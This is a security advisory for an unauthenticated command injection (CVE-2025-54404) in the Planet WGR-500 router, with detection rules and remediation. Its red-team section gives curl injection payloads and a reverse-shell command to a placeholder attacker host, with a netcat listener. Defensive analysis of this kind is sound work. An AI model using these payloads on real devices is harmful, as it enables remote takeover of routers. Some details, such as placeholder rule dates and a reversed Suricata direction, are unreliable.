CVE-2025-54404

Executive Summary

CVE-2025-54404 is a critical OS command injection vulnerability affecting the Planet WGR-500 router, specifically firmware version v1.3411b190912. The flaw resides in the swctrl functionality, where the new_device_name request parameter is improperly sanitized before being passed to a system shell. An unauthenticated attacker can exploit this by sending a specially crafted network request, leading to arbitrary command execution with root privileges. The CVSS score of 8.8 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the severe impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for affected devices.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise, data exfiltration possible.
• Integrity (I): High (H) – Attacker can modify system files and configurations.
• Availability (A): High (H) – Attacker can disrupt or disable the device.

Threat Level: Critical. The combination of remote, unauthenticated exploitation with full system compromise makes this a severe threat. The lack of a patch and public PoC increases the risk of targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw in the swctrl web interface of the Planet WGR-500 router. The new_device_name parameter is used to set a friendly name for a network device. The application likely constructs a shell command such as swctrl set device_name <user_input> without proper sanitization. By injecting shell metacharacters (e.g., ;, |, &&, `), an attacker can break out of the intended command and execute arbitrary OS commands.

For example, a request like:

POST /swctrl HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

new_device_name=test;id

Would result in the execution of id after the intended command, revealing the current user (likely root).

The swctrl functionality is typically used for device management and may run with elevated privileges, making this a direct path to full device takeover.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void set_device_name(char *name) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "swctrl set device_name %s", name);
    system(cmd);
}

Patched Code (Conceptual):

void set_device_name(char *name) {
    // Sanitize input: allow only alphanumeric and hyphens
    if (!is_valid_device_name(name)) {
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "swctrl set device_name %s", name);
    system(cmd);
}

bool is_valid_device_name(char *name) {
    for (int i = 0; name[i] != '\0'; i++) {
        if (!isalnum(name[i]) && name[i] != '-') {
            return false;
        }
    }
    return true;
}

The patched version validates the input against a whitelist of allowed characters, preventing shell injection. Since no official patch exists, this is a hypothetical fix.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Planet WGR-500 router with firmware v1.3411b190912.
2. Connect to the same network segment (or expose the web interface to the internet).
3. Use a tool like curl or Burp Suite to send crafted requests.

Exploitation Steps:

1. Identify the vulnerable endpoint: POST /swctrl with parameter new_device_name.
2. Inject a command using shell metacharacters. Example:

   curl -X POST http://target/swctrl -d "new_device_name=test;id"
   

3. For a reverse shell:

   curl -X POST http://target/swctrl -d "new_device_name=test;bash -i >& /dev/tcp/attacker_ip/4444 0>&1"
   

4. Listen on attacker machine:

   nc -lvnp 4444
   

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection & Response:

• Monitor HTTP POST requests to /swctrl with suspicious parameters.
• Look for shell metacharacters (;, |, &&, `, $()) in the new_device_name field.
• Alert on outbound connections from the router to unusual IPs/ports (potential reverse shell).
• Isolate the device from the network if exploitation is suspected.
• Review logs for command execution artifacts (e.g., id, whoami, cat /etc/passwd).

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /swctrl with new_device_name containing shell metacharacters.
  • Outbound connections from the router to external IPs on high ports (e.g., 4444, 1337).
  • Unusual DNS queries or data exfiltration patterns.
• Host:
  • Unexpected processes spawned by the web server (e.g., bash, sh, nc).
  • Modified system files (e.g., /etc/passwd, /etc/shadow).
  • Presence of reverse shell binaries or scripts in /tmp.
• Logs:
  • Web server logs showing new_device_name with command injection payloads.
  • System logs (e.g., /var/log/messages) showing command execution.

Detection Engineering

YARA Rule

rule CVE_2025_54404_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-54404"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-54404"
    strings:
        $payload1 = "new_device_name="
        $payload2 = /[;&|`$()]/
    condition:
        $payload1 and $payload2
}

Sigma Rule

title: CVE-2025-54404 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP POST requests to /swctrl with command injection payloads in new_device_name
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /swctrl
        cs-uri-query|contains: new_device_name=
    keywords:
        - ';'
        - '|'
        - '&&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate device names with special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54404 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/swctrl"; http_uri; content:"new_device_name="; http_client_body; pcre:"/(?:[;&|`$()])/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect Planet WGR-500 routers from untrusted networks (especially the internet) until a patch is available.
2. Implement network segmentation: Place these devices behind a firewall with strict access controls.
3. Monitor for exploitation: Deploy the provided detection rules to identify attacks.

Long-term Fix:

• Vendor patch: Await an official firmware update from Planet that properly sanitizes the new_device_name parameter.
• Workaround: If patching is not possible, consider replacing the device with a more secure alternative.

Compensating Controls:

• Use a Web Application Firewall (WAF) to block requests containing shell metacharacters in the new_device_name parameter.
• Disable the swctrl web interface if not required (e.g., via firewall rules or device configuration).

Valters IT